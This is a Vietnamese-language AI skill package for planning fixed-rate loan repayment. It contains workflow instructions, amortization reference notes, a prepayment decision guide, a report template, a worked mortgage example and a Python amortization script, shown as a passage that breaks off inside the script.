sys.exit(main(sys.argv[1:]))Xây dựng lịch biểu trả nợ (khấu hao) cho khoản vay và thế chấp có lãi suất cố định, hiển thị rõ bao nhiêu phần trong mỗi kỳ thanh toán được tính vào tiền lãi, đồng thời so sánh các chiến lược tất toán sớm như trả thêm hàng tháng, trả một khoản gộp một lần (lump sum), nâng mức thanh toán cố định cao hơn hoặc rút ngắn kỳ hạn vay, kèm theo số tiền lãi tiết kiệm được, số tháng rút ngắn được, ngày tất toán và ước tính lãi suất thực tế hàng năm (APR) khi có áp dụng phí. Sử dụng khi người dùng hỏi "tôi sẽ phải trả bao nhiêu tiền lãi?", "tôi có nên trả dư nợ trước hạn cho khoản thế chấp không?", "điều gì xảy ra nếu tôi trả thêm 200 mỗi tháng?", hoặc muốn có kế hoạch trả nợ cho khoản vay mua ô tô, vay sinh viên hoặc vay mua nhà.
--- name: loan-amortization-planner description: Xây dựng lịch biểu trả nợ (khấu hao) cho khoản vay và thế chấp có lãi suất cố định, hiển thị rõ bao nhiêu phần trong mỗi kỳ thanh toán được tính vào tiền lãi, đồng thời so sánh các chiến lược tất toán sớm như trả thêm hàng tháng, trả một khoản gộp một lần (lump sum), nâng mức thanh toán cố định cao hơn hoặc rút ngắn kỳ hạn vay, kèm theo số tiền lãi tiết kiệm được, số tháng rút ngắn được, ngày tất toán và ước tính lãi suất thực tế hàng năm (APR) khi có áp dụng phí. Sử dụng khi người dùng hỏi "tôi sẽ phải trả bao nhiêu tiền lãi?", "tôi có nên trả dư nợ trước hạn cho khoản thế chấp không?", "điều gì xảy ra nếu tôi trả thêm 200 mỗi tháng?", hoặc muốn có kế hoạch trả nợ cho khoản vay mua ô tô, vay sinh viên, vay tiêu dùng cá nhân hoặc vay mua nhà. Bao gồm một công cụ tính toán bằng thư viện chuẩn Python đã được kiểm thử. --- # Trình Lập Kế hoạch Khấu hao Khoản vay (Loan Amortization Planner) Bạn giúp mọi người hiểu rõ một khoản vay thực sự tốn kém bao nhiêu và làm thế nào để trả hết nợ nhanh hơn theo cách phù hợp với ngân sách của họ. Bạn tính toán các con số một cách chuẩn xác, giải thích chúng bằng ngôn ngữ đời thường dễ hiểu, đặt các phương án thực tế cạnh nhau để so sánh, và chỉ ra những sự đánh đổi (quỹ tiết kiệm khẩn cấp, các khoản nợ khác, quy định phạt trả nợ trước hạn) trước khi bất kỳ ai chuyển thêm tiền cho bên cho vay. ## Các tệp trong kỹ năng này - `scripts/amortize.py` - tính toán lịch trả nợ hàng tháng cho các khoản vay lãi suất cố định với các tùy chọn trả thêm hàng tháng, trả gộp một lần (lump sums), mức thanh toán cố định, các khoản phí và ước tính APR, bảng tổng hợp theo năm và xuất lịch biểu ra tệp CSV (chỉ dùng thư viện chuẩn Python 3) - `references/amortization-basics.md` - cách thức hoạt động của khấu hao khoản vay, các công thức tính toán và những thuật ngữ mọi người thường nhầm lẫn (lãi suất danh nghĩa so với APR, kỳ hạn vay so với ngày tất toán thực tế) - `references/prepayment-decision-guide.md` - khi nào việc trả thêm trước hạn là hợp lý, những điểm cần kiểm tra trong hợp đồng vay và thứ tự ưu tiên tài chính - `templates/loan-plan.md` - mẫu báo cáo để trả về kết quả - `examples/example-mortgage-overpayment.md` - một bài toán so sánh hoàn chỉnh ba chiến lược trả thêm trước hạn đối với một khoản vay thế chấp mua nhà ## Quy trình làm việc ### 1. Thu thập thông tin thực tế Hỏi người dùng, hoặc đưa ra giả định và nêu rõ: - Số tiền hiện còn nợ (hoặc số tiền dự định vay), lãi suất, thời hạn còn lại và mức thanh toán hàng tháng hiện tại nếu đã biết. - Lãi suất cố định hay thả nổi, và thời điểm kết thúc giai đoạn ưu đãi lãi suất cố định. - Các khoản phí: phí thu xếp khoản vay hoặc phí khởi tạo (origination fees), cùng bất kỳ khoản phạt trả nợ trước hạn hoặc hạn mức trả thêm tối đa hàng năm nào. - Khả năng tài chính của người dùng: số tiền có thể trả thêm mỗi tháng, khoản tiền thưởng dự kiến hoặc khoản tiền có sẵn một lần, cùng quỹ tiết kiệm khẩn cấp và các khoản nợ khác của họ. - Mục tiêu hướng tới: tổng tiền lãi thấp nhất, sạch nợ trước một cột mốc thời gian nhất định, hay mức đóng hàng tháng nhẹ nhàng nhất. ### 2. Chạy kịch bản cơ sở (baseline) ```bash python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --start 2026-12 python3 scripts/amortize.py --principal 18500 --rate 7.9 --months 48 --fee 400 # car loan with a fee: APR estimate ``` Kiểm tra xem số tiền thanh toán tính ra có khớp với bảng sao kê của bên cho vay trong phạm vi sai số vài xu (cents) hay không. Nếu không khớp, khoản vay có thể áp dụng quy tắc đếm ngày khác, đã cộng gộp phí vào dư nợ gốc, hoặc có kèm phí bảo hiểm trong khoản đóng hàng tháng: hãy hỏi lại người dùng, hoặc sử dụng tham số `--payment` với số tiền thực tế. ### 3. Chạy các kịch bản so sánh ```bash python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --extra 200 python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --lump 12:10000 --lump 24:10000 python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --payment 2000 --yearly python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 20 # shorter term python3 scripts/amortize.py ... --schedule plan.csv --json ``` So sánh từ 2 đến 4 phương án mà người dùng thực sự có khả năng chi trả. Đối với mỗi phương án, hãy ghi lại tổng chi hàng tháng, ngày tất toán, tổng tiền lãi phải trả, số tiền lãi tiết kiệm được và số tháng rút ngắn được. Nếu bạn không thể chạy script, hãy sử dụng các công thức trong `references/amortization-basics.md` và lưu ý rằng các con số là ước tính xấp xỉ. ### 4. Kiểm tra quyết định tài chính, không chỉ nhìn vào phép toán Đối chiếu lần lượt theo `references/prepayment-decision-guide.md`: ưu tiên quỹ dự phòng khẩn cấp trước, trả các khoản nợ có lãi suất cao hơn trước, kiểm tra phí phạt và hạn mức trả nợ trước hạn, lưu ý các tác động về thuế cần kiểm tra theo quy định địa phương, và so sánh với tỷ suất sinh lời sau thuế của phương án thay thế (gửi tiết kiệm hoặc đầu tư). Không bao giờ trình bày như thể việc trả nợ trước hạn lúc nào cũng là lựa chọn đúng đắn tuyệt đối. ### 5. Bàn giao kết quả Điền vào mẫu `templates/loan-plan.md`: tóm tắt khoản vay trong một dòng, kịch bản cơ sở, bảng so sánh các kịch bản, khuyến nghị kèm theo lý do, những câu hỏi cần trao đổi với bên cho vay và các bước tiếp theo. Tuân theo phong cách trình bày của `examples/example-mortgage-overpayment.md`. ## Quy tắc - Hiển thị mọi con số kèm theo đơn vị tiền tệ và làm tròn số tiền đến hàng xu (cents) hoặc đơn vị lẻ tương ứng; gắn nhãn rõ ràng các con số ước tính là ước tính. - Công cụ tính toán giả định lãi suất cố định, thanh toán định kỳ hàng tháng và các khoản trả thêm được trừ thẳng vào dư nợ gốc ngay lập tức trong khi vẫn giữ nguyên mức đóng hàng tháng định kỳ (nhờ đó rút ngắn kỳ hạn vay). Hãy nêu rõ giả định này, đồng thời lưu ý trường hợp lãi suất thả nổi hoặc trường hợp bên cho vay chọn cách tính lại mức đóng hàng tháng thấp hơn thay vì rút ngắn kỳ hạn. - Không đưa ra lời khuyên đầu tư cá nhân hoặc tư vấn thuế; hãy giải thích sự đánh đổi và hướng dẫn người dùng những điểm cần kiểm tra lại với bên cho vay hoặc cố vấn tài chính được cấp phép. - Nếu một khoản thanh toán hàng tháng thậm chí không đủ để bù đắp phần tiền lãi phát sinh, hãy cảnh báo thật rõ ràng và dừng lại: dư nợ sẽ ngày càng phình to thêm. - Giữ cho phần giải thích ngắn gọn và cụ thể: "cứ mỗi 100 trả thêm sẽ giúp tiết kiệm khoảng 120 tiền lãi" hiệu quả hơn nhiều so với cả một đoạn văn lý thuyết dài dòng. FILE:references/amortization-basics.md # Kiến thức cơ bản về khấu hao khoản vay (Amortization) ## Cách một khoản vay lãi suất cố định được trả dần cho đến hết Mỗi tháng, bên cho vay tính lãi dựa trên số dư nợ gốc hiện còn lại. Khoản tiền bạn đóng hàng tháng trước tiên sẽ dùng để trả phần lãi đó; phần tiền còn dư lại mới được trừ vào số dư nợ (tiền gốc). Vì số dư nợ giảm dần, nên phần tiền lãi phải trả sẽ thu nhỏ lại qua từng tháng và phần trả nợ gốc sẽ tăng dần lên, trong khi tổng số tiền đóng mỗi tháng vẫn giữ nguyên không đổi. Những kỳ thanh toán đầu tiên chủ yếu là trả lãi; những kỳ thanh toán về cuối chủ yếu là trả gốc. ## Các công thức tính toán - Lãi suất hàng tháng: r = lãi suất năm / 12 (ví dụ: 4.5% -> 0.00375). - Số tiền thanh toán mỗi tháng cho khoản vay P trong n tháng: M = P * r / (1 - (1 + r)^-n). Với r = 0: M = P / n. - Tiền lãi trong tháng này: dư nợ hiện tại * r. Tiền gốc trả được trong tháng này: M - tiền lãi. - Tổng tiền lãi phải trả: tổng của tất cả các phần tiền lãi hàng tháng, hoặc xấp xỉ bằng M * n - P. - Số tháng cần thiết để trả hết nợ với mức đóng hàng tháng M: n = -ln(1 - P * r / M) / ln(1 + r). Nếu P * r >= M thì khoản vay sẽ không bao giờ trả hết được. Kiểm tra nhanh: Vay 200,000 ở mức lãi suất 6% trong 30 năm -> đóng 1,199.10 mỗi tháng. Vay 300,000 ở mức lãi suất 4.5% trong 30 năm -> đóng 1,520.06 mỗi tháng. ## Tại sao việc trả thêm tiền lại giúp tiết kiệm nhiều đến vậy Một khoản trả thêm sẽ làm giảm ngay lập tức số dư nợ gốc, nhờ đó mọi tháng tiếp theo sau đó đều chỉ tính lãi trên một số dư nhỏ hơn. Số tiền tiết kiệm được xấp xỉ bằng số tiền trả thêm nhân với mức lãi suất mà khoản tiền đó lẽ ra sẽ phải gánh chịu trong suốt quãng thời gian còn lại của khoản vay. Đó là lý do tại sao số tiền trả thêm ở giai đoạn đầu của khoản vay lại giúp tiết kiệm được nhiều tiền lãi hơn hẳn so với cùng số tiền đó nhưng trả vào giai đoạn cuối. ## Các thuật ngữ mọi người thường nhầm lẫn | Thuật ngữ | Ý nghĩa | |---|---| | Lãi suất danh nghĩa (Nominal rate) | Mức lãi suất hàng năm ghi trong hợp đồng, được dùng để chia ra tính lãi hàng tháng. | | Lãi suất thực tế hàng năm (APR) | Mức lãi suất phần trăm hàng năm đã bao gồm cả các khoản phí; dùng để so sánh các gói vay với nhau. Một khoản vay có lãi suất danh nghĩa thấp hơn nhưng phí cao thì có thể có APR cao hơn. | | Kỳ hạn vay (Term) | Khoảng thời gian vay theo kế hoạch ban đầu (ví dụ: 30 năm). | | Ngày tất toán (Payoff date) | Thời điểm số dư nợ thực sự về bằng 0; sẽ đến sớm hơn nếu có các khoản trả thêm. | | Rút ngắn kỳ hạn so với giảm số tiền đóng hàng tháng (Reduce term vs reduce payment) | Sau khi bạn trả dư thêm một khoản tiền, một số ngân hàng giữ nguyên mức đóng hàng tháng và rút ngắn kỳ hạn vay (giúp tiết kiệm nhiều tiền lãi hơn), trong khi một số khác lại giữ nguyên kỳ hạn và tính lại mức đóng hàng tháng thấp xuống. Hãy hỏi rõ ngân hàng xem họ áp dụng cách nào. | | Dư nợ gốc (Principal) | Số tiền gốc hiện vẫn còn nợ, không tính phần lãi sẽ phát sinh trong tương lai. | | Lịch biểu trả nợ / khấu hao (Amortization schedule) | Bảng chi tiết từng tháng thể hiện số tiền đóng, phần trả lãi, phần trả gốc và dư nợ còn lại. | ## Làm tròn số và những chênh lệch nhỏ Các tổ chức cho vay thường làm tròn số tiền đến hàng xu (cents) vào mỗi tháng và có thể áp dụng cách tính lãi theo ngày thực tế (số ngày thực tế / 365) thay vì lấy lãi suất năm chia đều cho 12. Do đó, kết quả thực tế có thể chênh lệch vài xu mỗi tháng và vài đơn vị tiền tệ trong tổng số tiền lãi. Kỳ thanh toán cuối cùng thường sẽ điều chỉnh bù trừ toàn bộ phần chênh lệch do làm tròn này. ## Giới hạn của công cụ tính toán lãi suất cố định - Lãi suất thả nổi hoặc lãi suất tham chiếu (tracker rates): hãy chạy các kịch bản ở mức lãi suất hiện tại và ở mức tăng thêm +1 và +2 điểm phần trăm. - Giai đoạn chỉ trả lãi (interest-only), khoản thanh toán dồn cục cuối kỳ (balloon payments), thời gian ân hạn tạm dừng trả nợ (payment holidays): cần mô hình hóa riêng biệt hoặc tính thủ công. - Phí bảo hiểm, tiền ký quỹ (escrow) hoặc phí quản lý tài khoản nằm gộp bên trong khoản đóng hàng tháng không phải là tiền lãi; hãy tách chúng ra trước khi thực hiện so sánh. FILE:references/prepayment-decision-guide.md # Tôi có nên trả hết khoản vay sớm hơn không? Hướng dẫn ra quyết định Việc trả thêm tiền trước hạn cho một khoản vay mang lại một mức "sinh lời" đảm bảo, không rủi ro, đúng bằng mức lãi suất của khoản vay đó. Điều này rất tốt, nhưng không phải lúc nào cũng là cách sử dụng tối ưu nhất đối với khoản tiền nhàn rỗi. Hãy lần lượt xem xét qua các bước dưới đây theo đúng thứ tự. ## 1. An toàn là trên hết - Quỹ dự phòng khẩn cấp: hãy giữ khoảng 3 đến 6 tháng chi phí sinh hoạt thiết yếu trong tài khoản tiết kiệm dễ rút trước khi tính đến chuyện trả thêm nợ trước hạn. Tiền một khi đã chuyển cho ngân hàng để trả nợ thì rất khó rút ngược trở lại khi cần gấp. - Thu nhập ổn định: nếu sắp có sự thay đổi công việc, nghỉ thai sản hoặc một khoản chi tiêu lớn sắp tới, hãy ưu tiên tích lũy tiền mặt trước. ## 2. Trả khoản nợ đắt đỏ nhất trước Xếp hạng các khoản nợ theo lãi suất (phương pháp thác đổ - avalanche method): thẻ tín dụng và thấu chi trước, sau đó đến vay tiêu dùng cá nhân và vay mua ô tô, cuối cùng là vay sinh viên và vay thế chấp mua nhà (mortgage). Trả vượt mức cho khoản nợ có lãi suất cao nhất trước tiên. Nếu vấn đề nằm ở việc duy trì động lực, việc tất toán khoản nợ có dư nợ nhỏ nhất trước (phương pháp quả cầu tuyết - snowball) vẫn có thể chấp nhận được, nhưng hãy nêu rõ chi phí chênh lệch phải trả thêm là bao nhiêu. ## 3. Đọc kỹ hợp đồng - Phí phạt trả nợ trước hạn hoặc phí tất toán sớm (thường tính theo tỷ lệ phần trăm trên số tiền trả vượt mức, chủ yếu áp dụng trong thời gian ưu đãi lãi suất cố định). - Hạn mức trả vượt miễn phí hàng năm (ví dụ: được trả trước tối đa 10% dư nợ mỗi năm mà không mất phí). - Khoản tiền trả vượt mức sẽ làm giảm thời hạn vay hay giảm số tiền phải trả hàng tháng? Bạn có được quyền lựa chọn không? - Số tiền trả vượt tối thiểu cho mỗi lần và cách thức thực hiện (trực tuyến, qua điện thoại, hoặc bằng văn bản yêu cầu). ## 4. So sánh với các phương án thay thế - Khoản đóng góp quỹ hưu trí đối ứng từ công ty (employer retirement matching) thường có lợi hơn bất kỳ khoản trả nợ trước hạn nào: hãy nhận tối đa khoản đối ứng này trước. - So sánh lãi suất khoản vay với mức sinh lời sau thuế và sau phí mà bạn có thể nhận được từ tiền gửi tiết kiệm. Khoản vay thế chấp lãi suất 2% so với tài khoản tiết kiệm lãi suất 4%: gửi tiết kiệm thắng về mặt toán học. Khoản vay mua ô tô lãi suất 7% so với tài khoản tiết kiệm lãi suất 3%: trả nợ trước hạn thắng. - Đầu tư có thể vượt qua mức lãi suất vay thấp trong dài hạn nhưng đi kèm rủi ro; trong khi lợi ích tiết kiệm lãi từ việc trả nợ trước hạn là chắc chắn 100%. - Thuế: ở một số quốc gia, tiền lãi vay thế chấp mua nhà được khấu trừ thuế thu nhập, làm giảm mức lãi suất thực tế. Hãy kiểm tra quy định tại địa phương; tuyệt đối không tự suy đoán. ## 5. Chọn chiến lược phù hợp | Chiến lược | Phù hợp khi | |---|---| | Trả thêm một khoản cố định mỗi tháng | Thu nhập ổn định; tạo dựng thói quen; tiết kiệm được nhiều tiền lãi nhất trên cùng một tổng số tiền trả thêm nếu bắt đầu sớm. | | Trả gộp từng khoản lớn (tiền thưởng, tiền hoàn thuế) | Thu nhập không đều theo tháng; giữ được sự linh hoạt về dòng tiền trong suốt năm. | | Nâng mức thanh toán cố định hàng tháng cao hơn | Muốn ấn định một ngày thoát nợ rõ ràng. | | Tái cấp vốn (refinance) sang kỳ hạn ngắn hơn | Có mức lãi suất mới thấp hơn và đủ khả năng chi trả khoản thanh toán hàng tháng cao hơn; cần so sánh kỹ các loại phí. | | Giữ tiền mặt, trả nợ trước hạn sau | Giai đoạn lãi suất cố định sắp kết thúc (sau đó có thể trả trước mà không bị phạt), hoặc quỹ dự phòng khẩn cấp chưa đủ. | ## 6. Rà soát định kỳ Tính toán lại các con số mỗi năm một lần, khi lãi suất thay đổi hoặc khi thu nhập thay đổi. Nhắc người dùng rằng các khoản trả thêm tự nguyện luôn có thể tạm dừng bất cứ lúc nào; còn mức thanh toán cố định theo hợp đồng mới thường không thể tự ý giảm xuống. FILE:templates/loan-plan.md # Kế hoạch khoản vay: loan_name **Khoản vay:** balance ở mức lãi suất rate% (fixed_or_variable), còn lại remaining_term, thanh toán payment mỗi tháng, kỳ thanh toán đầu tiên trong kế hoạch này vào start_month **Phí và quy định:** fees; hạn mức hoặc phí phạt trả nợ trước hạn: prepayment_rules **Mục tiêu:** goal **Ngân sách dành cho thanh toán thêm:** extra_budget ## Mốc cơ sở (Baseline) - Khoản thanh toán hàng tháng: - Tổng tiền lãi tính từ hiện tại: - Ngày tất toán dự kiến: - Cơ cấu kỳ thanh toán đầu tiên: tiền lãi ... / tiền gốc ... ## Các kịch bản so sánh | Phương án | Chi trả hàng tháng | Ngày tất toán | Tổng tiền lãi | Tiền lãi tiết kiệm được | Số tháng rút ngắn | |---|---|---|---|---|---| | Mốc cơ sở (Baseline) | | | | - | - | | A: | | | | | | | B: | | | | | | | C: | | | | | | ## Khuyến nghị Phương án ... bởi vì: 1. 2. 3. Những sự đánh đổi cần lưu ý: ## Danh sách kiểm tra trước khi trả nợ trước hạn - [ ] Quỹ dự phòng khẩn cấp đủ trang trải ... tháng chi phí - [ ] Không còn khoản nợ nào khác có lãi suất cao hơn (hoặc khoản nợ đó đã được ưu tiên trả trước) - [ ] Đã kiểm tra phí phạt / hạn mức trả nợ trước hạn với bên cho vay - [ ] Đã thiết lập khoản trả vượt để rút ngắn thời hạn vay (hoặc giảm số tiền trả hàng tháng, nếu muốn) ## Câu hỏi dành cho bên cho vay 1. 2. ## Các bước tiếp theo 1. 2. *Giả định: lãi suất cố định, thanh toán hàng tháng, các khoản trả thêm được trừ trực tiếp vào dư nợ gốc ngay lập tức. Đây là các con số ước tính, không phải lời khuyên tài chính.* FILE:examples/example-mortgage-overpayment.md # Ví dụ: so sánh ba chiến lược trả nợ trước hạn khoản vay thế chấp mua nhà ## Yêu cầu của người dùng "Chúng tôi còn dư nợ thế chấp mua nhà là 320,000 với lãi suất cố định 4.1% và thời hạn còn lại 25 năm, kỳ thanh toán đầu tiên của kế hoạch này là vào tháng 12 năm 2026. Chúng tôi có thể trả thêm khoảng 300 mỗi tháng, hoặc dùng khoản tiền thưởng 15,000 mỗi năm trong ba năm tới. Một người bạn khuyên chúng tôi nên chuyển hẳn sang mức trả 2,400 một tháng. Phương án nào là tốt nhất? Chúng tôi đã có quỹ tiết kiệm đủ cho 6 tháng chi phí sinh hoạt và không có khoản nợ nào khác. Ngân hàng cho phép trả vượt tối đa 10% dư nợ mỗi năm mà không mất phí." ## Câu lệnh chạy ```bash python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --extra 300 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --lump 12:15000 --lump 24:15000 --lump 36:15000 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --payment 2400 ``` Kết quả đầu ra (đã rút gọn): ``` Baseline: 1,706.80 per month, interest 192,038.38, total paid 512,038.38, paid off 2051-11 (300 payments) Plan (+300.00/month): paid off 2046-02 (231 payments), interest 143,068.39 Saves 48,969.99 interest and 69 months (5 y 9 m); every 100 of extra saves 70.97 Plan (lump sums 15,000.00 in payment 12, 15,000.00 in payment 24, 15,000.00 in payment 36): paid off 2046-11 (240 payments), interest 133,018.73 Saves 59,019.65 interest and 60 months (5 y 0 m); every 100 of extra saves 131.15 Plan (fixed payment 2,400.00): paid off 2041-10 (179 payments), interest 107,805.37 Saves 84,233.01 interest and 121 months (10 y 1 m) ``` ## Kế hoạch khoản vay (bản mẫu đã điền, rút gọn) **Khoản vay:** 320,000.00 ở mức lãi suất cố định 4.1%, còn lại 25 năm, thanh toán 1,706.80 mỗi tháng, kỳ thanh toán đầu tiên vào tháng 12 năm 2026 **Phí và quy định:** trả vượt mức tối đa 10% dư nợ mỗi năm được miễn phí **Mục tiêu:** trả ít tiền lãi hơn mà không làm mất đi sự linh hoạt tài chính | Phương án | Chi trả hàng tháng | Ngày tất toán | Tổng tiền lãi | Tiền lãi tiết kiệm được | Số tháng rút ngắn | |---|---|---|---|---|---| | Mốc cơ sở (Baseline) | 1,706.80 | 2051-11 | 192,038.38 | - | - | | A: +300 mỗi tháng | 2,006.80 | 2046-02 | 143,068.39 | 48,969.99 | 69 | | B: Thưởng 15,000 từ năm 1 đến năm 3 | 1,706.80 + tổng cộng 45,000 | 2046-11 | 133,018.73 | 59,019.65 | 60 | | C: Cố định 2,400 mỗi tháng | 2,400.00 | 2041-10 | 107,805.37 | 84,233.01 | 121 | **Khuyến nghị:** Chọn Phương án B, kết hợp thêm Phương án A nếu ngân sách cho phép. Các khoản tiền thưởng được đóng vào giai đoạn đầu của khoản vay, nên cứ mỗi 100 trả vượt sẽ tiết kiệm được khoảng 131 tiền lãi, cao gấp gần hai lần hiệu quả của kế hoạch trả thêm hàng tháng (khoảng 71 trên mỗi 100, vì phần lớn số tiền đó được trả rải rác vào những năm về sau). Phương án này không đòi hỏi thay đổi ngân sách chi tiêu hàng tháng, và mỗi khoản 15,000 đều nằm gọn trong hạn mức miễn phí 10% hàng năm (32,000 trong năm thứ nhất). Phương án C tiết kiệm được nhiều lãi nhất vì nó bơm thêm tổng cộng khoảng 124,000 trong suốt 15 năm, nhưng lại làm tăng mức chi cố định hàng tháng thêm 693; chỉ nên áp dụng nếu mức chi này hoàn toàn thoải mái với bạn, và hãy thiết lập nó dưới dạng khoản trả thêm tự nguyện định kỳ thay vì sửa mức thanh toán cứng trong hợp đồng để có thể tạm dừng khi cần. **Sự đánh đổi:** số tiền đã trả vượt vào khoản vay thế chấp rất khó rút ra lại; hãy giữ nguyên quỹ dự phòng khẩn cấp 6 tháng không đụng tới. Nếu tài khoản tiết kiệm của bạn trả lãi cao hơn 4.1% sau thuế, việc gửi tiết kiệm có thể thắng việc trả nợ trước hạn về mặt tính toán; hãy kiểm tra mức lãi suất thực tế và các quy định thuế tại địa phương. **Câu hỏi dành cho bên cho vay:** 1. Các khoản trả vượt mức sẽ làm rút ngắn thời hạn vay và giữ nguyên số tiền trả hàng tháng (như giả định ở trên), hay sẽ tính toán lại để giảm số tiền trả hàng tháng? 2. Hạn mức miễn phí 10% được làm mới theo năm dương lịch hay theo năm hợp đồng vay? *Giả định: lãi suất cố định trong toàn bộ thời hạn, thanh toán hàng tháng, các khoản trả vượt được trừ trực tiếp vào dư nợ gốc ngay lập tức. Đây là số liệu ước tính, không phải lời khuyên tài chính.* FILE:scripts/amortize.py #!/usr/bin/env python3 """Fixed-rate loan amortization with extra payments and scenario comparison. Usage: python3 amortize.py --principal 250000 --rate 4.2 --years 30 [options] python3 amortize.py --principal 18000 --rate 7.9 --months 60 --extra 150 Options: --principal N amount borrowed (required) --rate PCT nominal annual interest rate in percent, e.g. 4.2 (required; 0 allowed) --years N | --months N term (one of them is required) --start YYYY-MM month of the first payment (default: next month) --extra N extra amount added to every monthly payment --extra-from N payment number where --extra starts (default 1) --lump N:AMOUNT one-off extra payment in payment number N (repeatable) --payment N pay this fixed monthly amount instead of the computed one --fee N one-off upfront fees, used for the cost and APR estimate --schedule FILE write the full monthly schedule as CSV --yearly print a year-by-year table --json print the result as JSON Extra payments are assumed to reduce principal immediately with no prepayment penalty and the same monthly payment (term shortens). Rates are nominal annual, compounded monthly (rate / 12 per month). Money is rounded to cents each month. Exit codes: 0 ok, 2 usage or input error. Python 3 standard library only. """ import argparse import csv import datetime as dt import json import sys def monthly_payment(principal, annual_rate, n): r = annual_rate / 100 / 12 if r == 0: return principal / n return principal * r / (1 - (1 + r) ** -n) def add_months(ym, k): y, m = ym m0 = m - 1 + k return (y + m0 // 12, m0 % 12 + 1) def schedule(principal, annual_rate, n, payment=None, extra=0.0, extra_from=1, lumps=None): r = annual_rate / 100 / 12 base = round(payment if payment else monthly_payment(principal, annual_rate, n), 2) lumps = lumps or {} bal = round(principal, 2) rows = [] k = 0 while bal > 0.005: k += 1 if k > 1200: raise ValueError("the loan is not paid off within 100 years; the payment is too small for the interest") interest = round(bal * r, 2) if base + (extra if k >= extra_from else 0) <= interest and not lumps.get(k): raise ValueError(f"payment {base:.2f} does not cover the monthly interest {interest:.2f}; the balance would grow") sched = min(base, bal + interest) if payment is None and k == n: sched = bal + interest # last scheduled payment absorbs the rounding difference ext = min(extra if k >= extra_from else 0.0, max(bal + interest - sched, 0)) lump = min(lumps.get(k, 0.0), max(bal + interest - sched - ext, 0)) principal_paid = round(sched + ext + lump - interest, 2) bal = round(bal - principal_paid, 2) rows.append({"n": k, "payment": round(sched, 2), "extra": round(ext + lump, 2), "interest": interest, "principal": principal_paid, "balance": max(bal, 0.0)}) return base, rows def summarize(rows): return {"months": len(rows), "total_interest": round(sum(x["interest"] for x in rows), 2), "total_paid": round(sum(x["payment"] + x["extra"] for x in rows), 2), "total_extra": round(sum(x["extra"] for x in rows), 2)} def apr_estimate(principal, fee, payment, n): """Annual rate that makes the payments worth principal - fee (bisection).""" target = principal - fee lo, hi = 0.0, 1.0 for _ in range(100): mid = (lo + hi) / 2 r = mid / 12 pv = payment * n if r == 0 else payment * (1 - (1 + r) ** -n) / r lo, hi = (mid, hi) if pv > target else (lo, mid) return round(lo * 100, 3) def fmt_ym(ym): return f"{ym[0]:04d}-{ym[1]:02d}" def main(argv): p = argparse.ArgumentParser(add_help=True, description="Loan amortization with extra payments") p.add_argument("--principal", type=float, required=True) p.add_argument("--rate", type=float, required=True) g = p.add_mutually_exclusive_group(required=True) g.add_argument("--years", type=float) g.add_argument("--months", type=int) p.add_argument("--start") p.add_argument("--extra", type=float, default=0.0) p.add_argument("--extra-from", type=int, default=1) p.add_argument("--lump", action="append", default=[]) p.add_argument("--payment", type=float) p.add_argument("--fee", type=float, default=0.0) p.add_argument("--schedule") p.add_argument("--yearly", action="store_true") p.add_argument("--json", action="store_true") try: a = p.parse_args(argv) except SystemExit as e: return 0 if e.code == 0 else 2 try: n = a.months if a.months else round(a.years * 12) if a.principal <= 0 or n <= 0 or a.rate < 0 or a.extra < 0 or a.fee < 0: raise ValueError("principal and term must be positive; rate, extra, and fee cannot be negative") if a.rate > 100: raise ValueError("rate is in percent per year, e.g. 4.2 for 4.2%") lumps = {} for item in a.lump: num, _, amt = item.partition(":") try: if not num.isdigit(): raise ValueError value = float(amt) except ValueError: raise ValueError(f"--lump must look like 24:5000 (payment number:amount), got {item!r}") from None lumps[int(num)] = lumps.get(int(num), 0.0) + value if a.start: try: y, m = a.start.split("-") start = (int(y), int(m)) except ValueError: raise ValueError(f"--start must look like 2026-11, got {a.start!r}") from None if not 1 <= start[1] <= 12: raise ValueError("--start month must be 01 to 12") else: t = dt.date.today() start = add_months((t.year, t.month), 1) base_pay, base_rows = schedule(a.principal, a.rate, n, payment=None) scenario = bool(a.extra or lumps or a.payment) pay, rows = schedule(a.principal, a.rate, n, payment=a.payment, extra=a.extra, extra_from=a.extra_from, lumps=lumps) if scenario else (base_pay, base_rows) except ValueError as e: print(f"error: {e}", file=sys.stderr) return 2 base_sum, plan_sum = summarize(base_rows), summarize(rows) result = { "inputs": {"principal": a.principal, "annual_rate_pct": a.rate, "term_months": n, "first_payment": fmt_ym(start), "extra_monthly": a.extra, "extra_from_payment": a.extra_from, "lumps": lumps, "fixed_payment": a.payment, "fees": a.fee}, "baseline": {"monthly_payment": base_pay, **base_sum, "payoff": fmt_ym(add_months(start, base_sum["months"] - 1))}, } if a.fee: result["baseline"]["apr_estimate_pct"] = apr_estimate(a.principal, a.fee, base_pay, n) result["baseline"]["total_cost_incl_fees"] = round(base_sum["total_interest"] + a.fee, 2) if scenario: result["plan"] = {"monthly_payment": pay, **plan_sum, "payoff": fmt_ym(add_months(start, plan_sum["months"] - 1)), "months_saved": base_sum["months"] - plan_sum["months"], "interest_saved": round(base_sum["total_interest"] - plan_sum["total_interest"], 2)} if plan_sum["total_extra"]: result["plan"]["interest_saved_per_100_extra"] = round(100 * result["plan"]["interest_saved"] / plan_sum["total_extra"], 2) yearly = [] for i in range(0, len(rows), 12): chunk = rows[i:i + 12] yearly.append({"year": i // 12 + 1, "paid": round(sum(x["payment"] + x["extra"] for x in chunk), 2), "interest": round(sum(x["interest"] for x in chunk), 2), "principal": round(sum(x["principal"] for x in chunk), 2), "end_balance": chunk[-1]["balance"]}) result["yearly"] = yearly first = base_rows[0] result["baseline"]["first_payment_split"] = {"interest": first["interest"], "principal": first["principal"]} if a.schedule: try: with open(a.schedule, "w", newline="", encoding="utf-8") as f: w = csv.writer(f) w.writerow(["n", "month", "payment", "extra", "interest", "principal", "balance"]) for x in rows: w.writerow([x["n"], fmt_ym(add_months(start, x["n"] - 1)), f"{x['payment']:.2f}", f"{x['extra']:.2f}", f"{x['interest']:.2f}", f"{x['principal']:.2f}", f"{x['balance']:.2f}"]) except OSError as e: print(f"error: cannot write schedule {a.schedule}: 